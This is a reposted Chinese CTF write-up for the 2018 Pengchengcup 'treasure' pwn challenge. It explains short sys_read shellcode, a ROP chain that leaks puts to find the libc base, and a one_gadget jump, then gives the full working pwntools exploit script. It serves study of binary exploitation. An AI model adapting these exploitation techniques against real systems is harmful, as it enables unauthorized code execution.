码迷,mamicode.com
首页 > 其他好文 > 详细

鹏城杯_2018_treasure

时间:2020-05-16 17:14:55      阅读:84      评论:0      收藏:0      [点我收藏+]

标签:构造   ADG   use   print   call   pytho   LLC   alt   hex   

鹏城杯_2018_treasure

首先检查一下保护:

技术图片

IDA分析

技术图片

我们先来看看settreasure()函数

技术图片

申请了两个内存空间,并往sea中复制了shellcode

看看这个shellcode,不知道干嘛的

技术图片

我们再来看看第二个函数

技术图片

读入一个长度小于等于9的shellcode,和我之前做的铁人三项(第五赛区)_2018_seven很像。

构造sys_read注入我们的shellcode

shellcode = asm(‘push rsp;pop rsi;mov rdx,r12;syscall;ret‘)

#sys_read注入以下的ROP
rop = p64(pop_rdi_ret) + p64(elf.got[‘puts‘]) + p64(elf.plt[‘puts‘])+ p64(0x4009BA)#treasure()

之后再来一次ret2one_gadget ,感觉跟第一个函数没啥关系。

from pwn import *
context.log_level = ‘debug‘
context(os=‘linux‘,arch=‘amd64‘)
p = process(‘./2018_treasure‘)
elf = ELF(‘./2018_treasure‘)
libc = ELF(‘/lib/x86_64-linux-gnu/libc-2.27.so‘)
#gdb.attach(p,‘b *0x00400AB6‘)

p.sendlineafter(‘:‘,‘A‘)

shellcode = asm(‘push rsp;pop rsi;mov rdx,r12;syscall;ret‘)
p.sendlineafter(‘start!!!!‘,shellcode)


pop_rdi_ret = 0x0000000000400b83

pause()
rop = p64(pop_rdi_ret) + p64(elf.got[‘puts‘]) + p64(elf.plt[‘puts‘])+ p64(0x4009BA)
p.send(rop)
puts_addr = u64(p.recv(6).ljust(8,‘\x00‘))
libc_base = puts_addr - libc.symbols[‘puts‘]
print ‘libc_base: ‘+hex(libc_base)
one = [0x4f322,0x4f2c5,0x10a38c]
one_gadget = libc_base +0x4f322


ret = 0x00000000004006a9

p.sendlineafter(‘:‘,‘A‘)
shellcode = asm(‘push rsp;pop rsi;mov rdx,r12;syscall;ret‘)
p.sendlineafter(‘start!!!!‘,shellcode)
pause()
p.send(p64(ret)+p64(one_gadget))


p.interactive()

鹏城杯_2018_treasure

标签:构造   ADG   use   print   call   pytho   LLC   alt   hex   

原文地址:https://www.cnblogs.com/Rookle/p/12900913.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!